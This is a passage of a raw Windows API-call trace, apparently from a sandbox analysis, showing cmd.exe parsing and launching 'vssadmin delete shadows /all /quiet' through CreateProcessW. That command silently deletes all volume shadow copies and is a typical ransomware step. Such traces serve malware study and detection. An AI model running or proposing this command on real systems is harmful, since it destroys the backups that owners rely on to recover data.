lpWideCharStr=0x7ff7524c3c76, cchWideChar=1 | out: lpWideCharStr="\n") returned 1 [0243.325] _get_osfhandle (_FileHandle=0) returned 0x248 [0243.325] GetFileType (hFile=0x248) returned 0x3 [0243.325] _get_osfhandle (_FileHandle=0) returned 0x248 [0243.325] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0243.325] _get_osfhandle (_FileHandle=1) returned 0x254 [0243.325] GetFileType (hFile=0x254) returned 0x3 [0243.325] _get_osfhandle (_FileHandle=1) returned 0x254 [0243.325] WideCharToMultiByte (in: CodePage=0x4e3, dwFlags=0x0, lpWideCharStr="vssadmin delete shadows /all /quiet\n", cchWideChar=-1, lpMultiByteStr=0x7ff7524b9970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vssadmin delete shadows /all /quiet\n", lpUsedDefaultChar=0x0) returned 37 [0243.325] WriteFile (in: hFile=0x254, lpBuffer=0x7ff7524b9970*, nNumberOfBytesToWrite=0x24, lpNumberOfBytesWritten=0xbef98ff7e8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7524b9970*, lpNumberOfBytesWritten=0xbef98ff7e8*=0x24, lpOverlapped=0x0) returned 1 [0243.325] GetProcessHeap () returned 0x2743ba20000 [0243.325] RtlAllocateHeap (HeapHandle=0x2743ba20000, Flags=0x8, Size=0x4012) returned 0x2743ba28e90 [0243.325] GetProcessHeap () returned 0x2743ba20000 [0243.325] RtlFreeHeap (HeapHandle=0x2743ba20000, Flags=0x0, BaseAddress=0x2743ba28e90) returned 1 [0243.327] _wcsicmp (_String1="vssadmin", _String2=")") returned 77 [0243.327] _wcsicmp (_String1="FOR", _String2="vssadmin") returned -16 [0243.327] _wcsicmp (_String1="FOR/?", _String2="vssadmin") returned -16 [0243.327] _wcsicmp (_String1="IF", _String2="vssadmin") returned -13 [0243.327] _wcsicmp (_String1="IF/?", _String2="vssadmin") returned -13 [0243.327] _wcsicmp (_String1="REM", _String2="vssadmin") returned -4 [0243.327] _wcsicmp (_String1="REM/?", _String2="vssadmin") returned -4 [0243.327] GetProcessHeap () returned 0x2743ba20000 [0243.327] RtlAllocateHeap (HeapHandle=0x2743ba20000, Flags=0x8, Size=0xb0) returned 0x2743ba27340 [0243.327] GetProcessHeap () returned 0x2743ba20000 [0243.327] RtlAllocateHeap (HeapHandle=0x2743ba20000, Flags=0x8, Size=0x22) returned 0x2743ba26490 [0243.328] GetProcessHeap () returned 0x2743ba20000 [0243.328] RtlAllocateHeap (HeapHandle=0x2743ba20000, Flags=0x8, Size=0x48) returned 0x2743ba275e0 [0243.329] GetConsoleOutputCP () returned 0x4e3 [0243.724] GetCPInfo (in: CodePage=0x4e3, lpCPInfo=0x7ff7524bfbb0 | out: lpCPInfo=0x7ff7524bfbb0) returned 1 [0243.724] SetThreadUILanguage (LangId=0x0) returned 0x409 [0244.341] GetConsoleTitleW (in: lpConsoleTitle=0xbef98ff630, nSize=0x104 | out: lpConsoleTitle="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1c [0244.637] malloc (_Size=0xffce) returned 0x2743bb90840 [0244.637] ??_V@YAXPEAX@Z () returned 0x2743bb90840 [0244.637] malloc (_Size=0xffce) returned 0x2743bba0820 [0244.637] ??_V@YAXPEAX@Z () returned 0x2743bba0820 [0244.638] _wcsicmp (_String1="vssadmin", _String2="DIR") returned 18 [0244.638] _wcsicmp (_String1="vssadmin", _String2="ERASE") returned 17 [0244.638] _wcsicmp (_String1="vssadmin", _String2="DEL") returned 18 [0244.638] _wcsicmp (_String1="vssadmin", _String2="TYPE") returned 2 [0244.638] _wcsicmp (_String1="vssadmin", _String2="COPY") returned 19 [0244.638] _wcsicmp (_String1="vssadmin", _String2="CD") returned 19 [0244.638] _wcsicmp (_String1="vssadmin", _String2="CHDIR") returned 19 [0244.638] _wcsicmp (_String1="vssadmin", _String2="RENAME") returned 4 [0244.638] _wcsicmp (_String1="vssadmin", _String2="REN") returned 4 [0244.638] _wcsicmp (_String1="vssadmin", _String2="ECHO") returned 17 [0244.638] _wcsicmp (_String1="vssadmin", _String2="SET") returned 3 [0244.638] _wcsicmp (_String1="vssadmin", _String2="PAUSE") returned 6 [0244.638] _wcsicmp (_String1="vssadmin", _String2="DATE") returned 18 [0244.638] _wcsicmp (_String1="vssadmin", _String2="TIME") returned 2 [0244.638] _wcsicmp (_String1="vssadmin", _String2="PROMPT") returned 6 [0244.638] _wcsicmp (_String1="vssadmin", _String2="MD") returned 9 [0244.638] _wcsicmp (_String1="vssadmin", _String2="MKDIR") returned 9 [0244.638] _wcsicmp (_String1="vssadmin", _String2="RD") returned 4 [0244.638] _wcsicmp (_String1="vssadmin", _String2="RMDIR") returned 4 [0244.638] _wcsicmp (_String1="vssadmin", _String2="PATH") returned 6 [0244.638] _wcsicmp (_String1="vssadmin", _String2="GOTO") returned 15 [0244.639] _wcsicmp (_String1="vssadmin", _String2="SHIFT") returned 3 [0244.639] _wcsicmp (_String1="vssadmin", _String2="CLS") returned 19 [0244.639] _wcsicmp (_String1="vssadmin", _String2="CALL") returned 19 [0244.639] _wcsicmp (_String1="vssadmin", _String2="VERIFY") returned 14 [0244.639] _wcsicmp (_String1="vssadmin", _String2="VER") returned 14 [0244.639] _wcsicmp (_String1="vssadmin", _String2="VOL") returned 4 [0244.639] _wcsicmp (_String1="vssadmin", _String2="EXIT") returned 17 [0244.639] _wcsicmp (_String1="vssadmin", _String2="SETLOCAL") returned 3 [0244.639] _wcsicmp (_String1="vssadmin", _String2="ENDLOCAL") returned 17 [0244.639] _wcsicmp (_String1="vssadmin", _String2="TITLE") returned 2 [0244.639] _wcsicmp (_String1="vssadmin", _String2="START") returned 3 [0244.639] _wcsicmp (_String1="vssadmin", _String2="DPATH") returned 18 [0244.639] _wcsicmp (_String1="vssadmin", _String2="KEYS") returned 11 [0244.639] _wcsicmp (_String1="vssadmin", _String2="MOVE") returned 9 [0244.639] _wcsicmp (_String1="vssadmin", _String2="PUSHD") returned 6 [0244.639] _wcsicmp (_String1="vssadmin", _String2="POPD") returned 6 [0244.639] _wcsicmp (_String1="vssadmin", _String2="ASSOC") returned 21 [0244.639] _wcsicmp (_String1="vssadmin", _String2="FTYPE") returned 16 [0244.639] _wcsicmp (_String1="vssadmin", _String2="BREAK") returned 20 [0244.639] _wcsicmp (_String1="vssadmin", _String2="COLOR") returned 19 [0244.639] _wcsicmp (_String1="vssadmin", _String2="MKLINK") returned 9 [0244.639] _wcsicmp (_String1="vssadmin", _String2="DIR") returned 18 [0244.639] _wcsicmp (_String1="vssadmin", _String2="ERASE") returned 17 [0244.639] _wcsicmp (_String1="vssadmin", _String2="DEL") returned 18 [0244.639] _wcsicmp (_String1="vssadmin", _String2="TYPE") returned 2 [0244.639] _wcsicmp (_String1="vssadmin", _String2="COPY") returned 19 [0244.639] _wcsicmp (_String1="vssadmin", _String2="CD") returned 19 [0244.639] _wcsicmp (_String1="vssadmin", _String2="CHDIR") returned 19 [0244.639] _wcsicmp (_String1="vssadmin", _String2="RENAME") returned 4 [0244.639] _wcsicmp (_String1="vssadmin", _String2="REN") returned 4 [0244.639] _wcsicmp (_String1="vssadmin", _String2="ECHO") returned 17 [0244.640] _wcsicmp (_String1="vssadmin", _String2="SET") returned 3 [0244.640] _wcsicmp (_String1="vssadmin", _String2="PAUSE") returned 6 [0244.640] _wcsicmp (_String1="vssadmin", _String2="DATE") returned 18 [0244.640] _wcsicmp (_String1="vssadmin", _String2="TIME") returned 2 [0244.640] _wcsicmp (_String1="vssadmin", _String2="PROMPT") returned 6 [0244.640] _wcsicmp (_String1="vssadmin", _String2="MD") returned 9 [0244.640] _wcsicmp (_String1="vssadmin", _String2="MKDIR") returned 9 [0244.640] _wcsicmp (_String1="vssadmin", _String2="RD") returned 4 [0244.640] _wcsicmp (_String1="vssadmin", _String2="RMDIR") returned 4 [0244.640] _wcsicmp (_String1="vssadmin", _String2="PATH") returned 6 [0244.640] _wcsicmp (_String1="vssadmin", _String2="GOTO") returned 15 [0244.640] _wcsicmp (_String1="vssadmin", _String2="SHIFT") returned 3 [0244.640] _wcsicmp (_String1="vssadmin", _String2="CLS") returned 19 [0244.640] _wcsicmp (_String1="vssadmin", _String2="CALL") returned 19 [0244.640] _wcsicmp (_String1="vssadmin", _String2="VERIFY") returned 14 [0244.640] _wcsicmp (_String1="vssadmin", _String2="VER") returned 14 [0244.640] _wcsicmp (_String1="vssadmin", _String2="VOL") returned 4 [0244.640] _wcsicmp (_String1="vssadmin", _String2="EXIT") returned 17 [0244.640] _wcsicmp (_String1="vssadmin", _String2="SETLOCAL") returned 3 [0244.640] _wcsicmp (_String1="vssadmin", _String2="ENDLOCAL") returned 17 [0244.640] _wcsicmp (_String1="vssadmin", _String2="TITLE") returned 2 [0244.640] _wcsicmp (_String1="vssadmin", _String2="START") returned 3 [0244.640] _wcsicmp (_String1="vssadmin", _String2="DPATH") returned 18 [0244.640] _wcsicmp (_String1="vssadmin", _String2="KEYS") returned 11 [0244.640] _wcsicmp (_String1="vssadmin", _String2="MOVE") returned 9 [0244.640] _wcsicmp (_String1="vssadmin", _String2="PUSHD") returned 6 [0244.640] _wcsicmp (_String1="vssadmin", _String2="POPD") returned 6 [0244.640] _wcsicmp (_String1="vssadmin", _String2="ASSOC") returned 21 [0244.640] _wcsicmp (_String1="vssadmin", _String2="FTYPE") returned 16 [0244.640] _wcsicmp (_String1="vssadmin", _String2="BREAK") returned 20 [0244.640] _wcsicmp (_String1="vssadmin", _String2="COLOR") returned 19 [0244.640] _wcsicmp (_String1="vssadmin", _String2="MKLINK") returned 9 [0244.641] _wcsicmp (_String1="vssadmin", _String2="FOR") returned 16 [0244.641] _wcsicmp (_String1="vssadmin", _String2="IF") returned 13 [0244.641] _wcsicmp (_String1="vssadmin", _String2="REM") returned 4 [0244.641] ??_V@YAXPEAX@Z () returned 0x1 [0244.641] GetProcessHeap () returned 0x2743ba20000 [0244.641] RtlAllocateHeap (HeapHandle=0x2743ba20000, Flags=0x8, Size=0xffde) returned 0x2743ba28e90 [0244.642] GetProcessHeap () returned 0x2743ba20000 [0244.642] RtlAllocateHeap (HeapHandle=0x2743ba20000, Flags=0x8, Size=0x5a) returned 0x2743ba277c0 [0244.642] _wcsnicmp (_String1="vssa", _String2="cmd ", _MaxCount=0x4) returned 19 [0244.642] malloc (_Size=0xffce) returned 0x2743bba0820 [0244.642] ??_V@YAXPEAX@Z () returned 0x2743bba0820 [0244.642] GetProcessHeap () returned 0x2743ba20000 [0244.642] RtlAllocateHeap (HeapHandle=0x2743ba20000, Flags=0x8, Size=0x1ffac) returned 0x2743ba3aac0 [0244.643] SetErrorMode (uMode=0x0) returned 0x0 [0244.644] SetErrorMode (uMode=0x1) returned 0x0 [0244.644] GetFullPathNameW (in: lpFileName=".", nBufferLength=0xffce, lpBuffer=0x2743ba3aad0, lpFilePart=0xbef98feeb0 | out: lpBuffer="C:\\WINDOWS\\system32", lpFilePart=0xbef98feeb0*="system32") returned 0x13 [0244.644] SetErrorMode (uMode=0x0) returned 0x1 [0244.644] GetProcessHeap () returned 0x2743ba20000 [0244.644] RtlReAllocateHeap (Heap=0x2743ba20000, Flags=0x0, Ptr=0x2743ba3aac0, Size=0x4a) returned 0x2743ba3aac0 [0244.644] GetProcessHeap () returned 0x2743ba20000 [0244.644] RtlSizeHeap (HeapHandle=0x2743ba20000, Flags=0x0, MemoryPointer=0x2743ba3aac0) returned 0x4a [0244.644] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x7ff7524bbb90, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps;") returned 0xbc [0244.644] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0244.644] GetProcessHeap () returned 0x2743ba20000 [0244.644] RtlAllocateHeap (HeapHandle=0x2743ba20000, Flags=0x8, Size=0x1b6) returned 0x2743ba27830 [0244.644] GetProcessHeap () returned 0x2743ba20000 [0244.644] RtlAllocateHeap (HeapHandle=0x2743ba20000, Flags=0x8, Size=0x35c) returned 0x2743ba38e80 [0244.644] GetProcessHeap () returned 0x2743ba20000 [0244.644] RtlReAllocateHeap (Heap=0x2743ba20000, Flags=0x0, Ptr=0x2743ba38e80, Size=0x1b8) returned 0x2743ba38e80 [0244.644] GetProcessHeap () returned 0x2743ba20000 [0244.644] RtlSizeHeap (HeapHandle=0x2743ba20000, Flags=0x0, MemoryPointer=0x2743ba38e80) returned 0x1b8 [0244.644] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x7ff7524bbb90, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0244.644] GetProcessHeap () returned 0x2743ba20000 [0244.644] RtlAllocateHeap (HeapHandle=0x2743ba20000, Flags=0x8, Size=0xe8) returned 0x2743ba39050 [0244.644] GetProcessHeap () returned 0x2743ba20000 [0244.644] RtlReAllocateHeap (Heap=0x2743ba20000, Flags=0x0, Ptr=0x2743ba39050, Size=0x7e) returned 0x2743ba39050 [0244.644] GetProcessHeap () returned 0x2743ba20000 [0244.644] RtlSizeHeap (HeapHandle=0x2743ba20000, Flags=0x0, MemoryPointer=0x2743ba39050) returned 0x7e [0244.644] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0244.645] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\vssadmin.*", fInfoLevelId=0x1, lpFindFileData=0xbef98fec20, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0xbef98fec20) returned 0x2743ba390e0 [0244.645] FindClose (in: hFindFile=0x2743ba390e0 | out: hFindFile=0x2743ba390e0) returned 1 [0244.645] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\vssadmin.COM", fInfoLevelId=0x1, lpFindFileData=0xbef98fec20, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0xbef98fec20) returned 0xffffffffffffffff [0244.645] GetLastError () returned 0x2 [0244.645] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\vssadmin.EXE", fInfoLevelId=0x1, lpFindFileData=0xbef98fec20, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0xbef98fec20) returned 0x2743ba390e0 [0244.645] FindClose (in: hFindFile=0x2743ba390e0 | out: hFindFile=0x2743ba390e0) returned 1 [0244.645] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3 [0244.645] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2 [0244.645] ??_V@YAXPEAX@Z () returned 0x1 [0244.645] GetConsoleTitleW (in: lpConsoleTitle=0xbef98ff1a0, nSize=0x104 | out: lpConsoleTitle="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1c [0244.777] GetProcessHeap () returned 0x2743ba20000 [0244.777] RtlAllocateHeap (HeapHandle=0x2743ba20000, Flags=0x8, Size=0x21c) returned 0x2743ba215f0 [0244.786] GetConsoleTitleW (in: lpConsoleTitle=0x2743ba21600, nSize=0x104 | out: lpConsoleTitle="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1c [0245.107] GetProcessHeap () returned 0x2743ba20000 [0245.107] RtlReAllocateHeap (Heap=0x2743ba20000, Flags=0x0, Ptr=0x2743ba215f0, Size=0xa4) returned 0x2743ba215f0 [0245.107] GetProcessHeap () returned 0x2743ba20000 [0245.107] RtlSizeHeap (HeapHandle=0x2743ba20000, Flags=0x0, MemoryPointer=0x2743ba215f0) returned 0xa4 [0245.107] SetConsoleTitleW (lpConsoleTitle="C:\\WINDOWS\\system32\\cmd.exe - vssadmin delete shadows /all /quiet") returned 1 [0246.128] GetProcessHeap () returned 0x2743ba20000 [0246.128] RtlFreeHeap (HeapHandle=0x2743ba20000, Flags=0x0, BaseAddress=0x2743ba215f0) returned 1 [0246.129] InitializeProcThreadAttributeList (in: lpAttributeList=0xbef98ff0c0, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0xbef98fefb0 | out: lpAttributeList=0xbef98ff0c0, lpSize=0xbef98fefb0) returned 1 [0246.129] UpdateProcThreadAttribute (in: lpAttributeList=0xbef98ff0c0, dwFlags=0x0, Attribute=0x60001, lpValue=0xbef98fef9c, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0xbef98ff0c0, lpPreviousValue=0x0) returned 1 [0246.129] GetStartupInfoW (in: lpStartupInfo=0xbef98ff050 | out: lpStartupInfo=0xbef98ff050*(cb=0x68, lpReserved="", lpDesktop="Winsta0\\Default", lpTitle="C:\\WINDOWS\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x248, hStdOutput=0x254, hStdError=0x254)) [0246.129] GetProcessHeap () returned 0x2743ba20000 [0246.129] RtlAllocateHeap (HeapHandle=0x2743ba20000, Flags=0x8, Size=0x20) returned 0x2743ba27630 [0246.129] _wcsnicmp (_String1="COPYCMD", _String2="=::=::\\", _MaxCount=0x7) returned 38 [0246.129] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0246.129] _wcsnicmp (_String1="COPYCMD", _String2="=ExitCo", _MaxCount=0x7) returned 38 [0246.129] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0246.129] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0246.129] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0246.129] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0246.129] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0246.129] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0246.129] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0246.129] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0246.129] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0246.129] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0246.130] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0246.130] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0246.130] _wcsnicmp (_String1="COPYCMD", _String2="OneDriv", _MaxCount=0x7) returned -12 [0246.130] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0246.130] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0246.130] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0246.130] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0246.130] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0246.130] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0246.130] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0246.130] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0246.130] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0246.130] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0246.130] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0246.130] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0246.130] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0246.130] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0246.130] _wcsnicmp (_String1="COPYCMD", _String2="SESSION", _MaxCount=0x7) returned -16 [0246.130] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0246.130] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0246.130] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0246.130] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0246.130] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0246.130] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0246.130] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0246.130] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0246.130] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0246.130] GetProcessHeap () returned 0x2743ba20000 [0246.130] RtlFreeHeap (HeapHandle=0x2743ba20000, Flags=0x0, BaseAddress=0x2743ba27630) returned 1 [0246.131] GetProcessHeap () returned 0x2743ba20000 [0246.131] RtlAllocateHeap (HeapHandle=0x2743ba20000, Flags=0x8, Size=0x12) returned 0x2743ba279f0 [0246.131] _get_osfhandle (_FileHandle=1) returned 0x254 [0246.131] SetConsoleMode (hConsoleHandle=0x254, dwMode=0x0) returned 0 [0246.131] _get_osfhandle (_FileHandle=0) returned 0x248 [0246.131] SetConsoleMode (hConsoleHandle=0x248, dwMode=0x0) returned 0 [0246.131] CreateProcessW (in: lpApplicationName="C:\\WINDOWS\\system32\\vssadmin.exe", lpCommandLine="vssadmin delete shadows /all /quiet", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\WINDOWS\\system32", lpStartupInfo=0xbef98fefe0*(cb=0x70, lpReserved=0x0, lpDesktop="Winsta0\\Default", lpTitle="vssadmin delete shadows /all /quiet", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0xbef98fefb8 | out: lpCommandLine="vssadmin delete shadows /all /quiet", lpProcessInformation=0xbef98fefb8*(hProcess=0x98, hThread=0x9c, dwProcessId=0xe8c, dwThreadId=0xe90)) returned 1 [0247.039] CloseHandle (hObject=0x9c) returned 1 [0247.039] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0247.039] GetProcessHeap () returned 0x2743ba20000 [0247.039] RtlFreeHeap (HeapHandle=0x2743ba20000, Flags=0x0, BaseAddress=0x2743ba39f90) returned 1 [0247.039] GetEnvironmentStringsW () returned 0x2743ba39460* [0247.039] GetProcessHeap () returned 0x2743ba20000 [0247.040] RtlAllocateHeap (HeapHandle=0x2743ba20000, Flags=0x8, Size=0xb24) returned 0x2743ba39f90 [0247.040] FreeEnvironmentStringsA (penv="=") returned 1 [0247.040] NtQueryInformationProcess (in: ProcessHandle=0x98, ProcessInformationClass=0x0, ProcessInformation=0xbef98fe4b8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0xbef98fe4b8, ReturnLength=0x0) returned 0x0 [0247.040] ReadProcessMemory (in: hProcess=0x98, lpBaseAddress=0xa360d6000, lpBuffer=0xbef98fe4f0, nSize=0x7a0, lpNumberOfBytesRead=0xbef98fe4b0 | out: lpBuffer=0xbef98fe4f0*, lpNumberOfBytesRead=0xbef98fe4b0*=0x7a0) returned 1 [0247.040] WaitForSingleObject (hHandle=0x98, dwMilliseconds=0xffffffff) returned 0x0 [0261.157] GetExitCodeProcess (in: hProcess=0x98, lpExitCode=0xbef98fef38 | out: lpExitCode=0xbef98fef38*=0x2) returned 1 [0261.157] CloseHandle (hObject=0x98) returned 1 [0261.157] _vsnwprintf (in: _Buffer=0xbef98ff108, _BufferCount=0x13, _Format="%08X", _ArgList=0xbef98fef48 | out: _Buffer="00000002") returned 8 [0261.158] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000002") returned 1 [0261.158] GetProcessHeap () returned 0x2743ba20000 [0261.158] RtlFreeHeap (HeapHandle=0x2743ba20000, Flags=0x0, BaseAddress=0x2743ba39f90) returned 1 [0261.158] GetEnvironmentStringsW () returned 0x2743ba39460* [0261.158] GetProcessHeap () returned 0x2743ba20000 [0261.158] RtlAllocateHeap (HeapHandle=0x2743ba20000, Flags=0x8, Size=0xb24) returned 0x2743ba39f90 [0261.158] FreeEnvironmentStringsA (penv="=") returned 1 [0261.158] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0261.158] GetProcessHeap () returned 0x2743ba20000 [0261.159] RtlFreeHeap (HeapHandle=0x2743ba20000, Flags=0x0, BaseAddress=0x2743ba39f90) returned 1 [0261.159] GetEnvironmentStringsW () returned 0x2743ba39460* [0261.159] GetProcessHeap () returned 0x2743ba20000 [0261.159] RtlAllocateHeap (HeapHandle=0x2743ba20000, Flags=0x8, Size=0xb24) returned 0x2743ba39f90 [0261.159] FreeEnvironmentStringsA (penv="=") returned 1 [0261.159] GetProcessHeap () returned 0x2743ba20000 [0261.159] RtlFreeHeap (HeapHandle=0x2743ba20000, Flags=0x0, BaseAddress=0x2743ba279f0) returned 1 [0261.159] DeleteProcThreadAttributeList (in: lpAttributeList=0xbef98ff0c0 | out: lpAttributeList=0xbef98ff0c0) [0261.159] SetConsoleTitleW (lpConsoleTitle="C:\\WINDOWS\\system32\\cmd.exe") returned 1 [0261.167] ??_V@YAXPEAX@Z () returned 0x1 [0261.167] _get_osfhandle (_FileHandle=1) returned 0x254 [0261.167] SetConsoleMode (hConsoleHandle=0x254, dwMode=0x0) returned 0 [0261.167] _get_osfhandle (_FileHandle=1) returned 0x254 [0261.167] GetConsoleMode (in: hConsoleHandle=0x254, lpMode=0x7ff7524bfc08 | out: lpMode=0x7ff7524bfc08) returned 0 [0261.168] _get_osfhandle (_FileHandle=0) returned 0x248 [0261.168] GetConsoleMode (in: hConsoleHandle=0x248, lpMode=0x7ff7524bfc0c | out: lpMode=0x7ff7524bfc0c) returned 0 [0261.168] GetConsoleOutputCP () returned 0x4e3 [0261.170] GetCPInfo (in: CodePage=0x4e3, lpCPInfo=0x7ff7524bfbb0 | out: lpCPInfo=0x7ff7524bfbb0) returned 1 [0261.170] SetThreadUILanguage (LangId=0x0) returned 0x409 [0261.178] GetProcessHeap () returned 0x2743ba20000 [0261.178] RtlFreeHeap (HeapHandle=0x2743ba20000, Flags=0x0, BaseAddress=0x2743ba39050) returned 1 [0261.178] GetProcessHeap () returned 0x2743ba20000 [0261.178] RtlFreeHeap (HeapHandle=0x2743ba20000, Flags=0x0, BaseAddress=0x2743ba38e80) returned 1 [0261.178] GetProcessHeap () returned 0x2743ba20000 [0261.178] RtlFreeHeap (HeapHandle=0x2743ba20000, Flags=0x0, BaseAddress=0x2743ba27830) returned 1 [0261.178] GetProcessHeap () returned 0x2743ba20000 [0261.178] RtlFreeHeap (HeapHandle=0x2743ba20000, Flags=0x0, BaseAddress=0x2743ba3aac0) returned 1 [0261.179] GetProcessHeap () returned 0x2743ba20000 [0261.179] RtlFreeHeap (HeapHandle=0x2743ba20000, Flags=0x0, BaseAddress=0x2743ba277c0) returned 1 [0261.179] GetProcessHeap () returned 0x2743ba20000 [0261.179] RtlFreeHeap (HeapHandle=0x2743ba20000, Flags=0x0, BaseAddress=0x2743ba28e90) returned 1 [0261.179] GetProcessHeap () returned 0x2743ba20000 [0261.179] RtlFreeHeap (HeapHandle=0x2743ba20000, Flags=0x0, BaseAddress=0x2743ba275e0) returned 1 [0261.179] GetProcessHeap () returned 0x2743ba20000 [0261.179] RtlFreeHeap (HeapHandle=0x2743ba20000, Flags=0x0, BaseAddress=0x2743ba26490) returned 1 [0261.179] GetProcessHeap () returned 0x2743ba20000 [0261.179] RtlFreeHeap (HeapHandle=0x2743ba20000, Flags=0x0, BaseAddress=0x2743ba27340) returned 1 [0261.179] _vsnwprintf (in: _Buffer=0x7ff7524c7f60, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0xbef98ff4e8 | out: _Buffer="\r\n") returned 2 [0261.179] _get_osfhandle (_FileHandle=1) returned 0x254 [0261.179] GetFileType (hFile=0x254) returned 0x3 [0261.180] _get_osfhandle (_FileHandle=1) returned 0x254 [0261.180] WideCharToMultiByte (in: CodePage=0x4e3, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x7ff7524b9970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0261.180] WriteFile (in: hFile=0x254, lpBuffer=0x7ff7524b9970*, 